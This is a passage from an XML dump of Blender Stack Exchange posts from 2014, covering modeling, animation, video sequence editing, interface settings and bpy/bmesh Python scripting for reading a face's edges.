one last piece of information.  It’s driving me insane!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’d really appreciate some help on this, as I’ve been struggling for days on it now and I need to move on.&lt;/p&gt;&#xA;" OwnerUserId="2336" LastEditorUserId="2336" LastEditDate="2014-02-03T10:46:43.810" LastActivityDate="2020-04-23T02:57:01.040" Title="How to animate Rubik's Cube rotations" Tags="&lt;animation&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6708" PostTypeId="1" AcceptedAnswerId="6721" CreationDate="2014-02-02T21:03:51.510" Score="2" ViewCount="2318" Body="&lt;p&gt;I am applying a subsurface modifier to the body of my plane, I need to model the nose in such a way that it stays as sharp and square as possible. I don't see any vertex group option like in the displacement modifier, so I don't know how to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done or should I separate the nose in to another piece without subsurf?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Non subsurf version&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P9Eky.png&quot; alt=&quot;Non subsurf version&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subsurf version, I tried with mean crease 1.0 but still got rounded corners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d6VF6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1626" LastActivityDate="2014-02-03T06:07:27.290" Title="Keep part of mesh square when applying subdivision surface" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6711" PostTypeId="1" CreationDate="2014-02-02T22:55:50.277" Score="10" ViewCount="755" Body="&lt;p&gt;How can I detect and/or change the active tab in the current editor via Python? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this doable? I have been digging through bpy.context.region/screen and not yet found a way to list the active tab.&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="12" LastEditDate="2014-02-03T20:56:21.893" LastActivityDate="2019-05-02T15:56:24.393" Title="Get current editor toolbar tab via Python?" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6712" PostTypeId="1" AcceptedAnswerId="6714" CreationDate="2014-02-02T23:01:56.820" Score="12" ViewCount="35229" Body="&lt;p&gt;I know how to &lt;code&gt;add&lt;/code&gt; the &lt;code&gt;effect strip&lt;/code&gt; and &lt;code&gt;transform&lt;/code&gt; to resize a given image. This works when I have a low res image that I want to enlarge. But when the image is too high of a resolution and I scale it down, the image is &lt;a href=&quot;https://en.wikipedia.org/wiki/Windowbox_%28film%29&quot; rel=&quot;noreferrer&quot;&gt;windowboxed&lt;/a&gt;. It's as though the render frame is being transformed and not the source image file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uczD8.png&quot; alt=&quot;the resulting windowbox&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way around this besides modifying the image file in an external program e.g. GIMP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify - here is the image that's imported to show the missing pixels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BtwZd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2339" LastEditorUserId="2339" LastEditDate="2014-02-03T01:37:57.930" LastActivityDate="2017-02-06T01:34:10.697" Title="How to shrink an image with the Video Sequence Editor" Tags="&lt;transforms&gt;&lt;video-sequence-editor&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6713" PostTypeId="2" ParentId="6684" CreationDate="2014-02-02T23:59:29.050" Score="1" Body="&lt;p&gt;And also, to add to all of that.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(i) You can use the technique above to bake a height map as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(ii) You can also heavily subdivide a mesh using the &lt;em&gt;multires modifier&lt;/em&gt; and then apply the texture to a &lt;em&gt;displace modifier&lt;/em&gt;.  This will help for baking height maps as well as normal maps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will have to twiddle those &lt;em&gt;bias&lt;/em&gt; and &lt;em&gt;distance&lt;/em&gt; settings for baking &lt;em&gt;selected to active&lt;/em&gt;.  They are very difficult to configure on curved surfaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I almost forgot about the following setup.  It's for baking a height map using Cycles.  It was posted on BlenderArtists.org a while back.  Currently it only works for planer projection, not curved meshes, but when the situation is appropriate, it generates flawless height maps.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?273033-Sculpting-with-UVs-and-displacements/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?273033-Sculpting-with-UVs-and-displacements/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xlklu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-02-04T20:27:18.023" LastActivityDate="2014-02-04T20:27:18.023" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6714" PostTypeId="2" ParentId="6712" CreationDate="2014-02-03T00:38:05.477" Score="8" Body="&lt;p&gt;When you add an image (or movie) to the VSE, Blender will stretch the image/movie to fit the current setting of the resolution (even if the aspect ratios don't match).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have some footage filmed at 1280x960 (from a GoPro).  I do &lt;kbd&gt;SHIFT&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;&gt;&lt;code&gt;Movie&lt;/code&gt;.  Then under Render tab, I set my resolution to be 640x480.  The original footage will be scaled by a factor of 0.5 automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qbd2I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(this is showing the entire frame that was filmed)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if I choose to further scale it by 0.5 by adding an &lt;code&gt;effect strip&lt;/code&gt; and setting &lt;code&gt;Scale&lt;/code&gt; to 0.5 in the N-menu, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QWnAU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then it will be scaled by an &lt;em&gt;additional&lt;/em&gt; 50%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TXXYK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: After importing the movie and setting to 640x480, say you wanted to change resolution from 640x480 to 640x400. This will cause distortion.  Instead of having distortion, you want to omit 40 pixels from both the top an bottom of the 640x480 image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would first change the resolution to 640x400.  But this would squeeze your image in the y-direction by a factor of 480/400 = 1.2.  Therefore, with your &lt;code&gt;Transform&lt;/code&gt; strip already added, you'd open the N-menu, make sure &lt;code&gt;Uniform Scale&lt;/code&gt; is disabled and set &lt;code&gt;Scale: Y&lt;/code&gt; to 1.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/umBzI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="1112" LastEditDate="2014-02-03T02:01:07.110" LastActivityDate="2014-02-03T02:01:07.110" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6715" PostTypeId="2" ParentId="3550" CreationDate="2014-02-03T01:28:29.980" Score="1" Body="&lt;h1&gt;Manual solution&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You could achieve this manually.  Start by giving the object a &lt;code&gt;Follow Path&lt;/code&gt; constraint and setting the target to be your curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example, we have 3 control points (of a Bezier curve) and 20 frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to frame 1, and keyframe &lt;code&gt;Evaluation Time&lt;/code&gt; to 0.  Also make sure to set &lt;code&gt;Frames&lt;/code&gt; to 20. (these settings are found in the &lt;code&gt;Object Data&lt;/code&gt; tab of the curve).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w29tI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, go to frame 10 and slide the &lt;code&gt;Evaluation Time&lt;/code&gt; until it appears that the object is at the same location as your second control point and keyframe it.  (being in Edit Mode allows you to see the control points)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TkiQN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, repeat the above process to ensure that object will be at the third control point at frame 20.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Python Solution&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If you have too many control points to go through by hand, then scripting this would be possible too.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script could start off by calculating the lengths of each segment of curve.  You'd have to numerically integrate the &lt;a href=&quot;https://blender.stackexchange.com/questions/6692/mathematical-formula-for-bezier-curves&quot;&gt;formula&lt;/a&gt; for the cubic Bezier curve (numerical integration because &lt;a href=&quot;https://math.stackexchange.com/questions/12186/arc-length-of-bezier-curves&quot;&gt;it can't be solved analytically&lt;/a&gt;).  If you could successfully &lt;a href=&quot;https://blender.stackexchange.com/questions/5287/using-3rd-party-python-modules-scipy&quot;&gt;install SciPy into Blender&lt;/a&gt;, you could use their integration functions, otherwise you could write your own script using &lt;a href=&quot;http://en.wikipedia.org/wiki/Gaussian_quadrature&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gaussian quadrature&lt;/a&gt; or any other numerical integration algorithm).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the lengths, the user could input a list whose n-th entry specifies at what frame the object should reach the n-th control point.  Set the &lt;code&gt;Frames&lt;/code&gt; property of Path Animation to the last frame in the list.  For each entry in list, set the &lt;code&gt;Evaluation Time&lt;/code&gt; to be the sum of lengths of segments up to that control point divded by the total length multiplied by the last frame.&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-02-03T01:33:38.097" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6716" PostTypeId="1" CreationDate="2014-02-03T04:22:18.270" Score="2" ViewCount="585" Body="&lt;p&gt;How do i strengthen the bonds/material in a plain linked-loop chain, in a non-kinematic chain--ie using &quot;hard body&quot; setting in the physics tab!  these bonds behave strangely and break every time...  I'm attempting to replicate the tutorial listed &lt;a href=&quot;https://www.blenderguru.com/videos/quick-tutorial-make-a-wrecking-ball-with-rigid-body-physics/comment-page-1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;  one of Andrew Price's &quot;Blender Guru&quot; videos...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to create a simple swinging &quot;wrecking Ball&quot; but setting the weights of the individual chain lengths to 2KG (24 chain lengths) and the ball on the end to 10KG doesn't work..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm told that scaling up the chain makes the physics work better, that &quot;too small&quot; objects don't behave well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set everything in the scene to be &quot;Cast Iron&quot;, and I would have thought that 2KG mass of a single link should not break, but it does, roughly into thirds, every time I hit the animation button&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have a list of &quot;things to try&quot; to fix this?&lt;/p&gt;&#xA;" OwnerUserId="1347" LastEditorUserId="56068" LastEditDate="2018-07-13T18:24:14.660" LastActivityDate="2018-07-13T18:24:14.660" Title="Using Physic tab in 2.68 to make swinging linked-chain--problem with &quot;weight&quot; and chain-links that snap" Tags="&lt;animation&gt;&lt;physics&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="6717" PostTypeId="2" ParentId="6573" CreationDate="2014-02-03T04:32:09.160" Score="1" Body="&lt;p&gt;after experimenting different things, I've finally find out how to do it !&#xA;To superimpose different textures on one material, you need to go to the very end of the texture panel, in the influence tab you will find the blend option. For the background texture you let this option to &quot;mix&quot; and for your others textures put this option to &quot;add&quot; and it will mix yours textures. (you won't see it in your &quot;texture&quot; viewport shading but you will see it in rendering). If you let the blend option to &quot;mix&quot; for the others textures you need to put them under the bacground texture. This last option won't mix your textures but it will put your last textures on the previous textures. So if you want to see the background texture under the others textures, yours others textures need to have some transparent (alpha) in their images. With these two option you can change the opacity &#xA;of your textures with the difuse:color option of the influence tab.&lt;/p&gt;&#xA;" OwnerUserId="2275" LastEditorUserId="2275" LastEditDate="2014-02-10T22:35:51.237" LastActivityDate="2014-02-10T22:35:51.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6718" PostTypeId="1" CreationDate="2014-02-03T04:34:33.297" Score="12" ViewCount="2328" Body="&lt;p&gt;I'm visually handicapped, and am finding it very difficult sometimes to see which object, of many, in a scene is the &quot;selected&quot; one as The line/halo surrounding it is very thin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a setting in the preferences that controls this, or perhaps a third-party plug-in?&lt;/p&gt;&#xA;" OwnerUserId="1347" LastEditorUserId="599" LastEditDate="2014-02-03T08:53:05.280" LastActivityDate="2014-02-03T08:53:05.280" Title="Is there some way to increase the thickness of the outline around selected objects?" Tags="&lt;interface&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6719" PostTypeId="2" ParentId="6718" CreationDate="2014-02-03T05:32:53.927" Score="12" Body="&lt;p&gt;You do this by changing the &lt;em&gt;Outline Width&lt;/em&gt; value in your user preferences under the &lt;em&gt;Themes&lt;/em&gt; tab. The maximum value is &lt;code&gt;5&lt;/code&gt; so if this is still hard to see, you can try changing the color (look for the value &lt;em&gt;Active Color&lt;/em&gt; in the same panel) or try adjusting the color of your viewport to make it more prominent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vCLJs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2014-02-03T05:39:13.343" LastActivityDate="2014-02-03T05:39:13.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6720" PostTypeId="2" ParentId="6712" CreationDate="2014-02-03T05:45:59.560" Score="9" Body="&lt;p&gt;When import image into VSE, it is true that the original aspect will be changed to match the scene resolution. To fix this, you can simply add another &lt;strong&gt;Transform&lt;/strong&gt; strip to first Transform (NOT the picture strip itself).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, basically one for Uniform scale, and another one for aspect ratio correction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1cJ4j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SYTPF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sNTpN.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt;: When setting the second Transform scale, be sure to set the longest side to 1.000, which is &lt;strong&gt;X&lt;/strong&gt; in this case.  &lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2017-02-06T01:34:10.697" LastActivityDate="2017-02-06T01:34:10.697" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6721" PostTypeId="2" ParentId="6708" CreationDate="2014-02-03T06:07:27.290" Score="2" Body="&lt;p&gt;Subsurf is very dependent on how your topology flows. When you see an ugly pole that pinches your geometry that's when you got to rethink the topology. Poles are not evil but they are unavoidable as they control the flow of your topology but must be used sparingly, specially in organic or semi-organic surfaces. The pole in your geometry doesn't look right:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/MLQicXA.png&quot; alt=&quot;Imgur&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest changing the topology so you get better subdivision. The red lines control the flow and the blue lines reinforce the geometry to crease the edges:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/nnwJTg0.png&quot; alt=&quot;Imgur&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure to clean up triangles; you want all quads when possible.&lt;/p&gt;&#xA;" OwnerUserId="2300" LastActivityDate="2014-02-03T06:07:27.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6722" PostTypeId="2" ParentId="1555" CreationDate="2014-02-03T07:06:15.110" Score="10" Body="&lt;p&gt;You can also hijack the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/cycles/world_settings.html?#mist-pass&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Mist Pass&lt;/em&gt;&lt;/a&gt;. This works for both BI and Cycles.&lt;/p&gt;&#xA;&lt;p&gt;Enable it in &lt;em&gt;Properties &amp;gt; Render Layers &amp;gt; Passes&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qweln.png&quot; alt=&quot;Cycles&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;And tweak the start/depth settings in &lt;em&gt;Properties &amp;gt; World&lt;/em&gt;. If you are using BI, adjust the settings &lt;strong&gt;without&lt;/strong&gt; enabling it, so that the combined pass is not affected:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nodT7.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Enable &lt;em&gt;Mist&lt;/em&gt; in &lt;em&gt;Camera Settings &amp;gt; Display&lt;/em&gt; to draw guides in the 3D view which make setting the values in &lt;em&gt;Properties &amp;gt; World&lt;/em&gt; easier:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8J5x6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Result:&lt;/h1&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YUQLH.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-12-09T07:23:14.633" LastActivityDate="2020-12-09T07:23:14.633" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="6724" PostTypeId="2" ParentId="6707" CreationDate="2014-02-03T09:01:24.260" Score="2" Body="&lt;p&gt;Actually, even the video recorder himself didn't get the expected result during the video (see 18:24 of that video).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make an expected Rubik's cube animation, it is important to keep below points in mind:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Setting rotation mode to &lt;strong&gt;Quaternion&lt;/strong&gt; for all cubes are highly recommended for expected result. Otherwise you have to key among the Euler modes, which makes it more difficult.&lt;/li&gt;&#xA;&lt;li&gt;Make sure the F-Curve key interpolations for all rotation channels are set to &lt;strong&gt;Linear&lt;/strong&gt;, otherwise it just works weird.&lt;/li&gt;&#xA;&lt;li&gt;Make sure to have the selected cubes keyed BEFORE rotating them. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A &lt;a href=&quot;http://www.pasteall.org/blend/26660&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;comparison file&lt;/strong&gt;&lt;/a&gt; based on your scene. FYI. Hope it helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MDCku.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-03T09:21:38.557" LastActivityDate="2014-02-03T09:21:38.557" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="6725" PostTypeId="2" ParentId="6711" CreationDate="2014-02-03T10:47:35.153" Score="4" Body="&lt;p&gt;This isn't currently exposed to the API (but we can expose it if it's useful).&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="241" LastEditDate="2019-05-02T15:56:24.393" LastActivityDate="2019-05-02T15:56:24.393" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="6726" PostTypeId="1" CreationDate="2014-02-03T11:23:51.523" Score="3" ViewCount="988" Body="&lt;p&gt;When I am trying to rotate the bone on the armature, I am getting the arrows to rotate the bone but the bone is not actually rotating.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried parenting the armature to a character and it is still doing the same thing, the bone will not rotate with the mouse but it will rotate when using the XYZ rotation values. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.dropbox.com/s/sjcmhc4bzb939ke/Armitures%20%20BLEND%201.blend&quot; rel=&quot;nofollow&quot;&gt;Blendfile&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="620" LastEditorUserId="599" LastEditDate="2014-02-03T21:32:18.963" LastActivityDate="2014-02-03T21:32:18.963" Title="Armature not working when trying to rotate using the mouse?" Tags="&lt;transforms&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6727" PostTypeId="1" CreationDate="2014-02-03T11:51:52.197" Score="6" ViewCount="9050" Body="&lt;p&gt;Blender Python question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a list of faces and I need do something with &lt;strong&gt;some edges of the current face&lt;/strong&gt; in a for-loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, I need something like &lt;a href=&quot;http://blenderscripting.blogspot.com/2011/07/printing-verts-face-indices-and-their.html&quot;&gt;this&lt;/a&gt;, but with edges.&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2341" LastEditorUserId="12" LastEditDate="2014-02-17T00:31:01.393" LastActivityDate="2021-03-14T08:04:01.943" Title="How to get a list of edges of current face in bpy" Tags="&lt;python&gt;&lt;scripting&gt;&lt;coordinates&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6728" PostTypeId="2" ParentId="6726" CreationDate="2014-02-03T12:08:28.253" Score="6" Body="&lt;p&gt;That's because you enabled &lt;strong&gt;Manipulate center points&lt;/strong&gt; in the header. Click that icon to toggle it off, or press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;,&lt;/kbd&gt; (comma).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O006i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="599" LastEditDate="2014-02-03T21:30:06.293" LastActivityDate="2014-02-03T21:30:06.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6729" PostTypeId="2" ParentId="6727" CreationDate="2014-02-03T12:45:19.053" Score="10" Body="&lt;h2&gt;Standard API&lt;/h2&gt;&#xA;&lt;p&gt;The active face's index is accessible in the standard API (bpy) like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;me.polygons.active&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To get the actual polygon, you do:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;me.polygons[me.polygons.active]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that the index is 0 (first polygons) even if there's no face at all, and it's independent from vertex and edge selection (a face can be active without its edges or vertices being selected).&lt;/p&gt;&#xA;&lt;p&gt;There's no direct access for a face's edges, you can create a dictionary from the &lt;code&gt;edge_keys&lt;/code&gt; however:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;ob = bpy.context.object&#xA;&#xA;if ob.type != 'MESH':&#xA;    raise TypeError(&amp;quot;Active object is not a Mesh&amp;quot;)&#xA;&#xA;# Get editmode changes&#xA;ob.update_from_editmode()&#xA;&#xA;me = ob.data&#xA;&#xA;if len(me.polygons) &amp;lt; 1:&#xA;    raise ValueError(&amp;quot;Mesh has no faces&amp;quot;)&#xA;&#xA;# Build lookup dictionary for edge keys to edges&#xA;edges = me.edges&#xA;face_edge_map = {ek: edges[i] for i, ek in enumerate(me.edge_keys)}&#xA;    &#xA;# Get active face by index&#xA;face = me.polygons[me.polygons.active]&#xA;&#xA;selected = &amp;quot;selected&amp;quot;&#xA;not_selected = &amp;quot; &amp;quot;.join((&amp;quot;NOT&amp;quot;, selected))&#xA;&#xA;for ek in face.edge_keys:&#xA;    edge = face_edge_map[ek]&#xA;    print(&amp;quot;%12s - %r&amp;quot; % ((selected if edge.select else not_selected), edge))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can also do without such lookup dictionary, may use less memory and perform better, 'since there's just one face we need to find the edges of:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;for ek in face.edge_keys:&#xA;    edge = me.edges[me.edge_keys.index(ek)]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;br&gt;&#xA;&lt;h2&gt;Bmesh module&lt;/h2&gt;&#xA;&lt;p&gt;You can access the edges directly using the &lt;a href=&quot;https://docs.blender.org/api/current/bmesh.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;bmesh module&lt;/a&gt; (&lt;code&gt;for edge in face.edges&lt;/code&gt;):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;ob = bpy.context.object&#xA;&#xA;if ob.type != 'MESH':&#xA;    raise TypeError(&amp;quot;Active object is not a Mesh&amp;quot;)&#xA;&#xA;me = ob.data&#xA;&#xA;if me.is_editmode:&#xA;    # Gain direct access to the mesh&#xA;    bm = bmesh.from_edit_mesh(me)&#xA;else:&#xA;    # Create a bmesh from mesh&#xA;    # (won't affect mesh, unless explicitly written back)&#xA;    bm = bmesh.new()&#xA;    bm.from_mesh(me)&#xA;&#xA;    &#xA;# Get active face&#xA;face = bm.faces.active&#xA;&#xA;selected = &amp;quot;selected&amp;quot;&#xA;not_selected = &amp;quot; &amp;quot;.join((&amp;quot;NOT&amp;quot;, selected))&#xA;&#xA;for edge in face.edges:&#xA;    print(&amp;quot;%12s - bm.edges[%i]&amp;quot; % ((selected if edge.select else not_selected), edge.index))&#xA;&#xA;    &#xA;# No need to do anything here if you haven't changed the (b)mesh&#xA;# Otherwise, flush changes from wrapped bmesh / write back to mesh&#xA;&amp;quot;&amp;quot;&amp;quot;&#xA;if me.is_editmode:&#xA;    bmesh.update_edit_mesh(me)&#xA;else:&#xA;    bm.to_mesh(me)&#xA;    me.update()&#xA;    &#xA;bm.free()&#xA;del bm&#xA;&amp;quot;&amp;quot;&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="31447" LastEditDate="2021-03-14T08:04:01.943" LastActivityDate="2021-03-14T08:04:01.943" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="6730" PostTypeId="2" ParentId="6727" CreationDate="2014-02-03T13:30:14.757" Score="5" Body="&lt;pre&gt;&lt;code&gt;poly = mesh.polygons[mesh.polygons.active]&#xA;for i in poly.loop_indices:&#xA;    edge = mesh.edges[mesh.loops[i].edge_index]&#xA;    # do something with edge&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;Note:&lt;/h2&gt;&#xA;&lt;p&gt;If the mesh is in edit mode, the selection might be out of synch. (see &lt;a href=&quot;https://docs.blender.org/api/current/info_gotcha.html#modes-and-mesh-access&quot; rel=&quot;nofollow noreferrer&quot;&gt;api docs&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="31447" LastEditDate="2021-03-14T08:03:11.923" LastActivityDate="2021-03-14T08:03:11.923" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
